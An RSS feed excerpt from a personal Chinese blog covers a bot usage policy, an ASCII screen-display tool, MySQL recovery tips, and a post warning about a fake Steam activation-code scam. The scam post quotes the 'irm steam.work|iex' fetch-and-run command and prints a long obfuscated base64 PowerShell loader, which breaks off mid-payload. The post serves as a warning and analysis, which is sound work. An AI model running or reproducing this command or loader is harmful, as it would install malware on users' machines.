<hr data-start="1347" data-end="1350">
<h2 data-start="1352" data-end="1401">第七章 特殊条款 &mdash;&mdash; SCP: Secret Laboratory 服务器命令使用规范</h2>
<ol data-start="1402" data-end="1901">
<li data-start="1402" data-end="1705">
<p data-start="1405" data-end="1496">若用户在机器人中使用与 <strong data-start="1417" data-end="1443">SCP: Secret Laboratory</strong> 服务器相关的功能或命令（包括但不限于 <code data-start="1463" data-end="1469">cx</code> 命令），则用户所属的服务器必须严格遵守以下规则：</p>
<ul data-start="1500" data-end="1705">
<li data-start="1500" data-end="1596">
<p data-start="1502" data-end="1596">遵守 <strong data-start="1505" data-end="1523">《秘密实验室社区服务器准则》</strong>：<br data-start="1524" data-end="1527"><a class="" href="https://scpslgame.cn/CSG.html" target="_blank" rel="noopener" data-start="1532" data-end="1594">https://scpslgame.cn/CSG.html</a></p>
</li>
<li data-start="1600" data-end="1705">
<p data-start="1602" data-end="1705">遵守 <strong data-start="1605" data-end="1630">《秘密实验室最终用户许可协议（EULA）》</strong>：<br data-start="1631" data-end="1634"><a class="" href="https://scpslgame.cn/eula.html" target="_blank" rel="noopener" data-start="1639" data-end="1703">https://scpslgame.cn/eula.html</a></p>
</li>
</ul>
</li>
<li data-start="1706" data-end="1845">
<p data-start="1709" data-end="1751">开发者有权在发现用户所属服务器违反上述准则或协议时，立即采取措施，包括但不限于：</p>
<ul data-start="1755" data-end="1845">
<li data-start="1814" data-end="1845">
<p data-start="1816" data-end="1845">永久禁止违规用户或服务器使用机器人服务。</p>
</li>
</ul>
<p>&nbsp;</p>
</li>
<li data-start="1846" data-end="1901">
<p data-start="1849" data-end="1901">用户和其所属服务器应对违反上述规定所造成的一切后果承担责任，开发者不对因此引发的任何纠纷或损失负责。</p>
</li>
</ol>
<hr data-start="1903" data-end="1906">
<h2 data-start="1908" data-end="1919">第八章 附则</h2>
<ol data-start="1920" data-end="1966">
<li data-start="1920" data-end="1942">
<p data-start="1923" data-end="1942">本政策未尽事宜，适用相关法律法规。</p>
</li>
<li data-start="1943" data-end="1966">
<p data-start="1946" data-end="1966">本政策的解释权和修订权归开发者所有。</p>
</li>
</ol>]]></description>
    <pubDate>Tue, 19 Aug 2025 00:02:29 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-44.html</guid>
</item>
<item>
    <title>屏幕界面ASCII字符展示</title>
    <link>https://blog.kldhsh.top/post-41.html</link>
    <description><![CDATA[<h2>下载</h2>
<p><a id="article-down-but" href="/?plugin=x_down&amp;down=aHR0cHM6Ly9sYW56b3V4LmNvbS9pa1ZsQTJlYXpwMWk=&amp;pass=" target="_blank" rel="noopener">屏幕界面以ASCII字符展示</a></p>
<p>备用: <a href="https://cdn.kldhsh.top/klbk/202411/39081730772517.zip" target="_blank" rel="noopener">屏幕界面以ASCII字符展示</a></p>
<hr>
<p><a id="article-down-but" href="/?plugin=x_down&amp;down=aHR0cHM6Ly9sYW56b3V4LmNvbS9paVpZeDJlODh1c2I=&amp;pass=" target="_blank" rel="noopener"></a></p>
<h2>介绍</h2>
<h3>原理简述</h3>
<ol>
<li><strong>截图</strong>：捕获窗口或屏幕内容。</li>
<li><strong>灰度转换</strong>：将图像转换为灰度，以便处理亮度。</li>
<li><strong>ASCII 转换</strong>：根据亮度将灰度图像映射成字符集合，从暗到亮依次使用不同的字符。</li>
<li><strong>实时更新</strong>：每 100 毫秒刷新 ASCII 图像，实现实时显示。</li>
</ol>
<h3>躲避直播巡查的可能性</h3>
<p>这种方法在显示上只用 ASCII 字符，但并不能完全躲避 Bilibili 的直播巡查。Bilibili 巡查系统可能会以内容内容违规进行一天以内的短期封禁。</p>
<h2>使用方式</h2>
<ol>
<li>安装python环境</li>
<li>运行 启动.bat</li>
<li>选择 1 安装依赖[可能需要代理]</li>
<li>安装成功后选择 2 启动</li>
</ol>
<p>&nbsp;</p>
<h2>版权声明</h2>
<p>版权所有 &copy; 2024 开朗的火山河123</p>
<p>许可依据： 本代码为自由开源项目，遵循 MIT 许可协议发布。您可以自由使用、修改和分发本代码，但需保留上述版权声明和许可声明。</p>
<p>所使用的依赖及来源：</p>
<ol>
<li>
<p><strong>numpy</strong></p>
<ul>
<li>来源：<a href="https://numpy.org/" target="_blank" rel="noopener">https://numpy.org</a></li>
<li>作用：处理图像像素数据，将图像转换为数组，便于像素值的计算与操作。</li>
</ul>
</li>
<li>
<p><strong>Pillow (PIL)</strong></p>
<ul>
<li>来源：<a href="https://python-pillow.org/" target="_blank" rel="noopener">https://python-pillow.org</a></li>
<li>作用：提供屏幕截图功能（ImageGrab）、图像处理（灰度化、调整大小）、以及将图像嵌入 Tkinter GUI（ImageTk）。</li>
</ul>
</li>
<li>
<p><strong>pygetwindow</strong></p>
<ul>
<li>来源：<a href="https://pypi.org/project/PyGetWindow" target="_blank" rel="noopener">https://pypi.org/project/PyGetWindow</a></li>
<li>作用：获取当前系统中所有窗口的属性，支持定位特定窗口的边界。</li>
</ul>
</li>
<li>
<p><strong>pywin32</strong>（包含 win32gui 和 win32con 模块）</p>
<ul>
<li>来源：<a href="https://github.com/mhammond/pywin32" target="_blank" rel="noopener">https://github.com/mhammond/pywin32</a></li>
<li>作用：用于与 Windows 图形用户界面 (GUI) 进行交互（代码中未显式使用）。</li>
</ul>
</li>
<li>
<p><strong>tkinter</strong>（Python 标准库）</p>
<ul>
<li>来源：<a href="https://docs.python.org/3/library/tkinter.html" target="_blank" rel="noopener">https://docs.python.org/3/library/tkinter.html</a></li>
<li>作用：构建图形用户界面，用于显示捕获的屏幕截图和 ASCII 转换后的图像。</li>
</ul>
</li>
<li>
<p><strong>sys</strong>（Python 标准库）</p>
<ul>
<li>来源：<a href="https://docs.python.org/3/library/sys.html" target="_blank" rel="noopener">https://docs.python.org/3/library/sys.html</a></li>
<li>作用：支持与 Python 解释器交互，用于程序退出。</li>
</ul>
</li>
</ol>
<p>许可声明： 上述依赖库均遵循其各自的许可协议，具体许可条款请参阅相关库的官方文档。</p>
<p>免责声明： 本代码按&ldquo;原样&rdquo;提供，无任何明示或暗示的保证，包括但不限于对适销性、特定用途适用性或不侵权的保证。在任何情况下，作者不对因使用本代码而导致的任何损害或损失负责。</p>]]></description>
    <pubDate>Mon, 04 Nov 2024 14:50:13 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-41.html</guid>
</item>
<item>
    <title>宝塔MySQL启动失败常见解决方法</title>
    <link>https://blog.kldhsh.top/post-35.html</link>
    <description><![CDATA[<h2>前言</h2>
<p><a href="https://cdn.kldhsh.top/klbk/202403/d2b51709893275.png" target="_blank" rel="noopener"><img src="https://cdn.kldhsh.top/klbk/202403/thum-d2b51709893275.png" alt="image.png" width="300" height="300"></a></p>
<p>&nbsp;</p>
<div>在日常数据库的使用中，配置较低的服务器容易出现炸库现象。</div>
<div>这篇文章将讲解常见解决办法。</div>
<div>&nbsp;</div>
<h3>常见炸库解决方法</h3>
<ol>
<li>1.存储空间不足&nbsp; //清理磁盘。</li>
<li>2.3306端口被占用&nbsp; //在宝塔可以直接查看端口占用情况，可以通过结束进程解决。</li>
<li>3.与其他数据库冲突&nbsp; //可以尝试卸载其他数据库。</li>
</ol>
<h3>服务器配置较低炸库现象</h3>
<div>在部分服务器上，较低的配置可能导致炸库。</div>
<div>若是符合条件，可以尝试<strong>innodb_force_recovery</strong>参数</div>
<div>使用方法：在数据库配置文件添加 <code>innodb_force_recovery = 1</code> 配置</div>
<div>等号后面的数字可以按情况进行修改。</div>
<blockquote>
<div>仅innodb_force_recovery 在紧急情况下设置为大于 0 的值，以便您可以启动InnoDB和转 储您的表。在这样做之前，请确保您拥有数据库的备份副本，以防需要重新创建它。4 或 更大的值可能会永久损坏数据文件。仅 innodb_force_recovery在您在数据库的单独物理副 本上成功测试设置后，才能在生产服务器实例上使用 4 或更高的设置。强制InnoDB恢复 时，您应该始终从该值开始， innodb_force_recovery=1并且只在必要时逐步增加该值。</div>
<div>1 (SRV_FORCE_IGNORE_CORRUPT) <br>让服务器即使检测到损坏的页面也能运行。尝试跳过损坏的索引记录和页面，这有助于转储表<br>2 (SRV_FORCE_NO_BACKGROUND)<br>阻止主线程和任何清除线程运行。如果在清除操作期间发生意外退出，此恢复值会阻止它。<br>3 (SRV_FORCE_NO_TRX_UNDO)&nbsp;</div>
<div>崩溃恢复后不运行事务回滚。<br>4 (SRV_FORCE_NO_IBUF_MERGE)</div>
<div>&nbsp;防止插入缓冲区合并操作。如果它们会导致崩溃，请不要这样做。不计算表统计信息。此值可能会永久损坏数据文件。使用此值后，准备删除并重新创建所有二级索引。设置 InnoDB为只读。<br>5 (SRV_FORCE_NO_UNDO_LOG_SCAN)</div>
<div>启动数据库时不查看撤消日志InnoDB：甚至将不完整的事务视为已提交。此值可能会永久损坏数据文件。设置InnoDB为只读。<br>6 (SRV_FORCE_NO_LOG_REDO)</div>
<div>不执行与恢复相关的重做日志前滚。此值可能会永久损坏数据文件。使数据库页面处于过时状态，这反过来可能会给 B 树和其他数据库结构带来更多损坏。设置 InnoDB为只读。</div>
</blockquote>
<div>&nbsp;</div>]]></description>
    <pubDate>Fri, 08 Mar 2024 18:21:00 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-35.html</guid>
</item>
<item>
    <title>steam伪激活码骗局</title>
    <link>https://blog.kldhsh.top/post-28.html</link>
    <description><![CDATA[<h1>前言</h1>
<p>之前在某宝购买了steam激活码&ldquo;正版&rdquo;游戏但是发货后要执行powershell命令我就感觉到了不对劲</p>
<p><a href="/content/uploadfile/202401/d2b51705067849.png" target="_blank" rel="noopener"><img src="/content/uploadfile/202401/thum-d2b51705067849.png" alt="image.png"></a></p>
<h1 id="msg_header_h1_0"><span id="01-irm-steamcdkruniex-行为分析">irm steam.work|iex</span>分析</h1>
<p>按照url下载下来是这样一个powershell命令</p>
<pre class="language-markup"><code>powershell -encodedCommand "JAB2AHoAdwBuAGIAcQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADEAQQB0AFEAQwAwAG0AegBRAFEARwBEAHkAUwBvAFIATABiAE8AUABQAHcAcgBmACsARABqADcAcQAzAHgAaQBPAGMAaABVAEQAagAzADYAMQBHAFIASwByADQAUgByAHIAQwBYAGUAMwBhAEoAUQBpADIAcgBvAHYAcQBIAFMATABJAGwAOQA2ADgASAAzAFMAaQAzAHUATgBBAFkAeABwAHkAMgBuAC8ANgBMAEQAdwBHAGkANgBXAEsAaABOAGMAagBrAE0AUQBjAHQAZwBRACsALwBhADIARgAzAHIATABWAGwAOQBWAE0AcQAvAEYAagBXAEcAMAB4AG4AcwB3AFYARgA5AFQAMAAyADAAZgByAHYAcwBIAE8ATABLAFYAeQA0AFUAKwA3AHUAMABwAFMAcwBkADIAZQByAFMAcwBUAE8ARgBVAE0AWQBFAGkAVQBaADAAUwBMAFkARwB4AFEANABkAGoAbwBiADEAZABHAHUAYQBrAG4AOAA2ADQAZQBzAGoANgAwAG4ATQAzAFcAUwBHAHIASgBjAEwAUQBHAFMANgAxAG8AaABQAG8AZAB2ADAAVQBpAFEAWABPAGcAOAA3AFkAcABVAHQANQBoAHoAdABUADEAbgA2AHQAeQBKAHgAVwA1ADcAbQBCAEIAdQBzACsAMwBLAFYAQQBxAEUAMgBrAGkATABMACsAdgA4AFIANwA4AE4AQwBHAGMAcQB5AFcAVABhAEQARQA0AGYATwA1ACsAdgBGAHgAKwBpAGcAaABaAC8AMgAyAEIAdgBtAHkAeABsAFUASQBEAGwARQBDAHIATQByAFcAUgBVAE4AVwBtAGEAdQBhAEwAdABhAG4ANwBsAEoANgBPAFYAWQBMADkAMAA1AEkAQwBpAEIASAAzAE0AUgBVADMAVwAyAHoAaQBkADMAYgBDAG4AQwA4AEIAdQBuAC8AeABYAEoALwBqAHcAcgBwAEYAQQBiAGkAdgB0AHkAZABjAGwAaABYAGUARABXAHYAQgBnAHQAbgBFAGsARgBnAHcAWQBtAFcAcgBOAHAAUgBEAGMASgBKAEcAYgBIAHYANABDAEUAWQBhAHkAawB1AG4ATgBrAE0ARQBLADEAbQBDADEAcQBQAFoAawBLAHUAUgBTAC8AMwArAGsARgBGADQARgBQAEoANQA2AGYAbAA5AEEASwBpAC8AaQBJAG4AQQArAEEAMgB6AEUAZwBkAHgASQByAFAAbAAyAEkAegBjAC8AbABTAFoANwBxAEYAWgB5AGYASABvAHQAOABxAGUAawBsADUAMwBHAEMAZwB5ADIATgBhAEUAMABhAFUARgBVAGEAQgA2AE0ATABPAFQATQBaAE4ARgAyAGQAdgBIADkAWABJAFUATwAzAFAAVwBCAGYAQwBkAFMAWQBVAFUAVQBLAHgAdgBaAE8AMgB0ADgASQBPAFMAQQBUAC8ALwBrAEcAUQBGAHYATABtAGIAYwBjAE0ALwBSAEEAcwBFADEAWgBKAFMAbgBIAFMASABjAHAASQA4AFgASQAyADcAdABwAGoAWgBxAHQAWQB4AFIAUABlAGwAbgBHADUAWgA2AGsASwA0AHYAUAB3AHEAUQBCAHQAcwBiADQAOABOACsANgBRADcAdQBNAGcAVwBRADMAMgA1AGYAawA2ADUARwBPADQAeABkAEkAVgBDAHUANQBiAEoANQB0AHEANgAxAGYAWgB2ADQARwByAHoAdwA2AGMAQgBBAHYANQBZAHEAcQBvAEUAKwBSADcANwA3AHIAagBEAHEAWABNADEAbAAwAGkAOQAwAGgAZgBhAGUAVwBhAGgANwBxAGEAaQA0AHgATAB5AEsATgBDAFIANwA1AEUAbQBDAFIAZQBkAGoANgArAHUAWQBOAGMANgBrADIAVwBKAG8ASAA1AFIAZABVAHUAMgBCAFYASwB3AGkAegA1AFkAdQA0AGMAcQBMAFcARwBmAG4AMQBvAGkAMwBxAEQAZQArAHoAWABOAFAAYwBqAGoAMwBZAFEASwB2ADgAawA3ADYATwBzAFEAQQBXAFUAcQBFAEsAbgA1AGYAZQAvAEkAQgBiAEoAbABWADMAOABYAE0AaABRAGcAOQB6AHQAdwBwAE8ARwBmAEgANQB6AHcASABqAEQAVwA1ADMASgBpAGoASgA0AGsAMwBXAFQAagA4AEEAdQBXAEcAWQBaADkARABYADgAUQBYAGMATQBOAFIAUgBJAFgAeQBiAEMAaABPAC8AbwBaAEMAKwBaADQAZAA2ADcATQA3AEgAcQBYAFgATABWAGoASwBiAE8AZwBZAGYAQwBPAGYAQQAzADgATwBiADkAbQAxAG8AUABJAGcATAA1AHoAdgB4ADcARQA4AHkAaQByADEAOQBwAEoAbQBNAEUALwBGAFYAcgA5AG8AZQBJAGoANABNADMARQBCAHcASABmAHYAZwBYAHAAUABrAEMAagBsAEYANAB5AHEAbgBjAFIAYQBSAFEASgBWAGoAQQBiAFMAUQBMAHIAdABXAEQAdABaAGsAUgA3AG0AdgBlAFoAWQB5AG4AcwBBAEMAWABYAFEAbwBtADYARwBSAGkAVQB2AGIAUABuAEcAdAArAFQAaQBzAGkAagA5AFgAdQA3AEkAdwBhAE0AVwBWAFoATQBmAHAAcQBjAEkAbgBMADcAUwBmAC8AWQBSAGoAYQBlAEkAZABxADkAUgBiAFUATQByAFYAVABNADgATgA2AEQAdwA0AEwAUgBZAEIATABpADAAbwBEAFQAZgBMADMAcQB3AGQATQBEADkALwBFAEkAaQBBAGkAcgBGAGMAMQBaAEIAcgBnAEsAeQBRAGsALwBtAHgAcQBVAFkAYgBTAHEAZQBWACsAdQBMADYAaABSAHgAcABnAFMANwBTAEEANABzAC8AbABCAGsAVgBhAHYAQwA2ADIATwB0AFoAcQAvAFIAQQBxAG4AagBLAFIAYQBzAGcAMwBBAGUARwBBAEoAbgBsAFgAdABlAG4AWQB3AHMAQwAzAGEAeQBlAEcARgBaAGoAVQBzAEYAaABuAE4AUwBQAFkAawBQAHAAMgAwAEEASwBuAHQARgBvAEgAUwBWAE4ASgA1AHcARQBaADYAbgAzAEQARQBDAFUASwBjAHQAMQBRAEoAdAArAE8AdQBqAFgAaABUAEQAQwBIAFIATwBNAFYAZwBuADAATABHAFIAdwBaAE0AbwBnADIAMwBLAGgANgBhAHgAWABIAGcAOABFAFgATABRAFkANgBKADgAWgBDADEAeQBYAHgAUABBAEYARwBJACsASwAxAEMASQBIAFEARABVAFUASQA3AHIAWABkAEwAbQBzAGwARQAxADkAbwAvAC8AWABiADMATAB5AG0ATwBaAFkAdQBjAHMAQgB2AEMAYQBjAHcAcQAwAHoAcABkAC8ASABMAGgAYgB6ADIAMAB5AFkAdwA5AEYAVwBDAE0AYwAxAGsAWQBjAGsAeQA2AFQASwBVAHQAVgBCADkASABiAHUAbQAyAEwAUwBIAEcAeQBBAEEAUQBOAHQAZwBkAFIARAAxAGkASABTAHEANgBrADAAdABvAHgAcgBqAEUATgAxAFMAegAzAG0AKwAyAFUAUwBSAGYARQBGAGsAUwBJAG4AVgA4AGMASQBBAEkAdQBSAEgAUgBwAEMANgBaADkAWgBZAGUAWQByAEYARgBqADMANwBUAEcANABnAGoAMABTADcAVABEAEgAegB3ADkAWgB4AEYAaABPAFUATQBwAGwAeQBkAFcARgBFAGMAaABJAEUATwA5AHYAegBXADgATQBaAHkAUgBGAHMARABRADIAbABzAFYASABIAEsAagBoAE0AdAAxAHoAOABQAFkAYgAxAHMAcQBWAHEAMABVAHYAdwBPAEUANAA1ADkAbQBPAHkAUABtAEQARgAxAFkAMABjAEsARQBWADAAOQA1AEQAZwAzAGEAeQB6AFgAeABaADEATABsADQAZgBaAEkAYQBsAE8AWABzAGwAVABmAG0ASgBVAG4AWQA1AG4AVwA1AFAAMwBEAHkAegA0AGQAKwBPAHoAbABIAFQAagBhACsAYQBVAHgAUAB3AEMAZwA1AE4AYQB5AEwAOQBFAFoAMwB0AGMASQBuAEkAeQBPAG8ANAA2AEcAZABhADcALwBvAEgAbQB5AGEAUQBZAE4AdgBkAEoAeABsAFkAdwA4AFgAUwBDAEkAZAA0AEQAVwBrAFUANgBMAHEARwBoAHkAZgBUAFEAYQAvAC8AQQBrAFAARwA1AEcASABFAFcAQgB0AGgATgAwAFIAMwBTAC8AZgBoADIAUgBpAFAAMwA1AC8AWgB4AGIASwA2AE4AZwB2AFMAbQByADYAVAAzAHEAdAAyAE8ALwBRADkAbAA2AEUANgB0AHYATgBIAGIARABLADMALwBWAEcAUwBjAEoAZABkAHkASABRAFAAZAB0AHIAZwBZAHIAaABWAEUAOAB4AFYAMwBTADAAeQByAGUAQgBWAGgATgAvADgAZQBTAGsAQQA2ADIAMwBHAGMAZgBUAG8AaQBRAFcAZwBYAHcAMQBzAFYAUwBWAHEAcQBaAEsAVQB6AEYAYQB4AEYAVgA4ADkASQBwAG8AdQBWADgANgBUAHMASQBoADUATQBOAFEASABVAGwAeQB6AEUAYQA0AGMAdQBsAG4AYgBsAEcANwAyAHgAeABsAEcAdwBSAEsARAAzAGQAcwAxAEYAVgBHADMATgA0AFYARQBVAEMAMABXADMAaQA5AGQATwBGAHEAawBwAGwAVgBoAEgAUQBRAEQAWgBwADcAYQBEAEoAawBtAHIARABRAFUATgA2AHQASQBpAG4AbgBGAC8AdgAwAHgAQQAvADIALwA1AEEAeABVAFUAbgArAFoAYgBxAEYAZABzAHUAdQBEAFAAcgBWADEAagBxAFMAegB6AHgAOQBJAG4ATQBrAHEAMABSAEgAcABKAGMAZABRAEYAQQBRAGYAaAByAHMAeABvAGsAcwBRAHgAMgBxAGIAbQBDAEsAbAB5AHQAbAA4AFoAYQBIADMAagBEADYAeABmAGcAVgA5AEgAQQBXAHgAaQBsAFQANABnAEYARgBpADcAYQBoAHIARgBzAEIANwBqAEwAZgB5AEcAaABIAGwANwBpAGMAMwBsAFcATQBiADAAYgBXAHQATwBpAEgAaAAvADYASAByAGwANABCADYAQgBIAEUAbwBCACsARQBJADcAYwBOAHgAbwBNAGoAWABDAFUAbQBQAFQAZwB0AG8AYwB6AEwAYQBHAGUARQB4ADYAZwBkAFoAUgBoADQAcwBWAGcAVQArAFoANgBIAHcAUQBXAEMATQArAGoAcABjAHUARABOAEMAYgB6AFIAVwAvAEsAZQB1ADAANgBKAEcAdAAvADYAaABXAHMAOQArAEsARwA1ACsASAB1AEgASwBmAG8AawBjAEEAYwAzAEYAdgBvADkAQQA2AEIAVgBTAHIAMQBYAG4AegBoAFkAZgBKAHoAUwA0AEEARQB3AFIASABWAEUAVgBiAE4ASABzAHMAQQB5AEYALwBpAEcATwBMAEUARwBzADUASQB1AFYAdwA0AFQASQBLAGIARwA3AEEAawBxAEUAVAAzADkAOAB5AE4AegAxAEIAMQBSADkAeQBlAEEAKwByAC8AUQBSADQATwBjAGcAVgBOAEEAZwBTAEUAcwBSAEkAdgBrAGsASQBOADIAVgAzAFMATwByADUANwBBAEYAQQBOADkAKwBoAGoATgBqAEYAZQBhAGIAUgBiAHUAZgAwAEsAUAA4AGgAWgA5AGUAQgBnAG0AbgB0AE0AYwBKAE4AUgBtAHMAcwBZAE4ATAA3ADEAZgBnADcAWABtAHQAOQBFAGoAOQA1AHoAOABaAFIASgB4AGkAYwA0AGwATQAxADkAQgBtAGQAOAAxAGsAOABPAEoAbQBkAEcAbgA0AFcARwBFAFoAYQBmAEsAQQBqAGsAWQBvAHQAcQB4AFUANQA0AGEAVAAxADMAVwBOAHYAdAAxAFQAMAB4AEYAMABhAHoAeQBtADEAaQBrADkANwBWADcAVAByAEYAegBKAEcASwBzAFUANQBQAHgAdQBSAGcAdAA4ADMAdgBlADkAOQB3AEMAOQBqAFUAVQB3ADAATgBjAFMAUQBBAC8ATABZAC8ASwBHAEEAKwBqAHMAcgA4ADQAOABnAE4AUgA4AGMARwBpAGcAcgBKAHgANQBpAE4ASwBDAHoAegA0AGMARABnAEgARQBoAFIAKwA0AGIATQBUAHUAOQB1AEEAVgBvADcAaAAvADgASQA5AEkAcQBuADcARwBIAGUAeABWAG0AMwBxAFYAVQAvAHAAZABpAHEAbwBkAHUASABSAG0AVAA2ADgATwBGAE8AZwArAGwAcQBRAGIAegBXAGYAbgBiADYAMQBqAHUAUQBxAEgANABBADkAYQBZAFYATgB0AEEAcQBwAHMAUQB1ADgAUQBLAG8ATABKAEoAOQBtAHYAWQBKAHAAcwBRAHIAQQAyADgAaABPADQAawBsAHgAZgBmAFoAZAB0AGgAMABiAHgAUwBOAEEAdgBaADMAUwB0AHoANABUAHYAWABYADUAZABaAG8ASABzADcASwA3AGQAaABLADQAaABlADkAcgBSAFcAMgAyAEYAdQBuAEkAMwBTAGcAQQA5AHkAUgBhAHYAcQB5AHcAVwBEAHgAUQBJAEwAMwBaAEcAYQBFADkANgBLAFgAaQBDAE8ARABoAHcAawBVAGsAcgBDAEUAOABqAGsALwBjAE4ANAB0AEQATABRAHgAUQBPAHAARgBOAFoAdwBpAE4AMAB5AEMAKwBwADUAQgBrAHcAMgAwAGEAVABWAHIAcAB3AE0AYwBKAHYALwByAEcAMwBTAFIAbQAxAEsAZgB3AG8AUwBDAGQAbQA2ADAALwBNAGoARABNADEAUwBoAHEAcgBRADEAYQB1AEIAMQA1AGoANQA3AEsAWAAyAFoAagBQADgARgBPAEIANwBnAE4AdwBwAEMAUQBqAEoAOQBSAHUAbAByADAAWgBSAGUAbgBoAEQATgBpAGoAagA0AE0AQwBUAEIATABIAEMAdQB5ADkASABzAHAAcwBYAHgAbwA5AEoARgBWADkAegB5AE8ASABPAEMAZQA0AE4ARQB2AEwARABvAEUAUgArAGoANgBBAHUAZgBVAHYASwBlAHoANABzAHMAawBWADUATwB4AEoARQByAFMAcgBhAEQASwBUAHgANwBvAHQAawB3ACsAYQB5ADEAWgAyAHcAcgBqAGsAKwBhAHMAWQBBAHQATgBWAGsAeAA5AHIAOQBUAEoAWgBoAFIAbgB5ADkAYQAwADYAQwBmAFcAWAA3AEMAMgBoAHEARwA0ADIAMgBGAHUAVQBQAHMAZgBZAFUAZgBoADYAawBZAHMAcABzAC8AcwA3AHAAMwBwADgAOABpAHkAeABnAEEAVwBNAGEAZgAzAFgAbwBlAFYAaQArADEASgB3AFgAYgAwAEMAcwB0AFYAVwBUAGYAVAB0AEEAeABGAFIAUQBRAFgAdQBUAFIAbQB6AHkAbQBCAEgAcAAxADEAUwB0AHoAagAwADYATgA1AEIAbABtAEcATgArAHcAQgBGAFgAaABZAE4AUABwAE8AZQA0AGMAbgBPAEIATQBSAGQARABIAG4ASQBMADcANABRAFoATwA0AGMAWABsAHoAVQBWAHQAVgBEAE4ANABMAHcALwBtAGIAUwBUAHAAKwBaADYASwBYAFcAdABjAHYAQQA4AE8AZwBjAHoATQA4AGIANQA1AEkAcABkAGIAYgBaAGcATwBWADYAVwBnAEMAawBKAHMAVwB5ADYAdQA5AE0AYgBaADQALwBPAHEAbAB2AEkAdQBWAG0AWAAyADcAeQBXAHkAbgB3AGgAUQBqAGgAagA0ADEAcwBLADgAcABRAGcATwBHAEgANwBMADkARgBHADUAdwBLAHYAbwBrAEEAZgBJAEYAOQA3AFkAcwBOAE8ATwB5AFcASwA2AGwATgAxAFoAMQAwAE4AQwBPAFcAdAA3AHAAawBDAGcAWgBXAEkANABRAGIATQBDAGUAMQBWAEcAbQBvAFgATQBLAHYAUQBUAEMAVwBMADQAWABpADAAZABlAHcAZQBNAG0AMQBTAEgAcABqAE8ASABqAGsAcwBZADcAOQBQADQAdwBkAE4AcwBmAEgAagBNAFEAdQA4AEsAWgBSADcAQwA0AHEAQgBpADQAUABmACsAbwByADIASwBFAE0ANAA0AEEAaQA4AGsAbABNADcAbABkAE4AdgBpAGkAagBWAEMAWgBMAEEAZABjAFgAcQAwAFQAWABnAFQAMABYADAAZQBvAEsAcABmAEIANQBHADUASQBSAGkAUABOAHgAYwBCADYAQgA2AFgASgBnAEEAbwBoAEoAVAArAHoANQA0AGkAVgBlAGkAawBJAFoAdwBoAGwAUQBWAEkAMgArAG0AYQBCAFgAbgAyAGEARQA5AHkAMABxAGgATQAvAE4AWABxAGUAaABuADYARgBsAGIAUQBWAE4AbAA1ADYASwBWAGoAdQBQAFAAZwAvACsAVABxAEQAegA3AHoAZQB3AGUAQwBZAGIAbAAzAGkAVgBQAEoAaQBkAG0AcQA4AGsAYQBtADMATABpADYAMQArAEIAbgBzAGsANABkAG4ASABMAFEAbABRAHAAcwBFAFQAUgBSAGQAeABYAHgAVgBjAGEARABiADcASABlAGIAcQBKADYAVQBwAEYAUABHAGEAeQBEAFUASAB3AG4ASgA4AHMAKwBQAGEAVwBnAFIASABUAHYANgBwADQAMQBoAFoAcgBjAEUAMgBiAGQAWQArADAAbgA0AFAATABvAFkATwBpADEAUwBDADMARwB3AFYASgA2AFIAMQBxAEwARQB0AFgASgB6AFgATQBDAEUASwA5AFcAQQBHAEoANwAxAGsAegBFAE8AWQBDAFUAbABsAEwAYwBRAHoARgBNAHYAVgBEAE0AMgA0AGYAZgBNAHcAMgBmAGEAYwBkAHMAdwBXAHcAVQBRAG4AaABkADcAbABQAHAAKwBIAHkAOQBqADEAYgBIAC8AMgBjADUARABIAEUATwBKAGwATQBQAHQAUQBkAEsAOABDAGkASAA2AE8AWgBCADMAMgAvAFMAbgBEAGIASgBSAGkAMAA3ADgAaQBRAEUAVQA5AG4AVABtAGcAQwBhAGcAZQBIAG8AYwBCAE8AMQA3AFEAcgBSAGYAYQBaADQAOAB5AGwAYQArAFMASwA3ADUAUQAwAEwATgBJAHkATwBGAEcAOQBBAFAAZgAxAGoASQBuAFMANgBkACsANgB5AHQAMQAxAHcAWgAxAHoAegBkAHkASQBmAFcAbgBnAFEAQwBFAG4AeABFAEgAaQA4AFIAdABUAFMAMwB1AHYAYgBYAFkARQBPADQAWQBHAE0ALwBKAFcAUwBsADMAaABPAE8AbABVADIARAAxAHUAdwBOAG0AOAB4ADcAeAB5AHkAbgBQAC8AUABXADEAaQBzADMALwBBAGYAcAA1AG4AagBnAGMAawBNAGQAUgBpADEAUwBHAGMAYwBRAHgAUwByAEkAawB2AFIAcgBiAEIAOABrAGwAcgBQADIAbgB3AG4AQgBBAEkAWgBtAFEAZwBCAFgARAA2AGYAUQBVAHgAQQBvADAAZwBBAHIARgBNADkAQgA0AFgAegBFAFAARgBvAEsAeABFAHYANABMAEwAUwBKACsASwBMAEsAZgBmAGYAZQByAFkAYQAzADkAdQBDAE0ASQA5AEEAMABZAEQAZQBjAEwAMABRAE4AbQBWAG4ATQBVAGUAMgBhAEIAUQAwAFMAdwB3AFUAYQAxAEYATwAwAFoAcQBaAEUANwBjAEMAVQA5AHUAagB4AFUARQBnAC8AKwAwAEQAOAAiACkADQAKACQAYgBtAG8AeQBxAGMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAVQBBADIASwBiAEcAaQBMAHUATABZAEsARwBOAEsAWABwADAASQA4ADUAUwBLADkAQQBEADEAQgBPAGEAYwAvAGEAMABuAEcAegA0AEIAYwA5AFoAcwA9ACIAKQANAAoAJABoAGoAZgBtAHAAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiAA0ACgAkAGgAagBmAG0AcAB5AC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEUAQwBCAA0ACgAkAGgAagBmAG0AcAB5AC4AUABhAGQA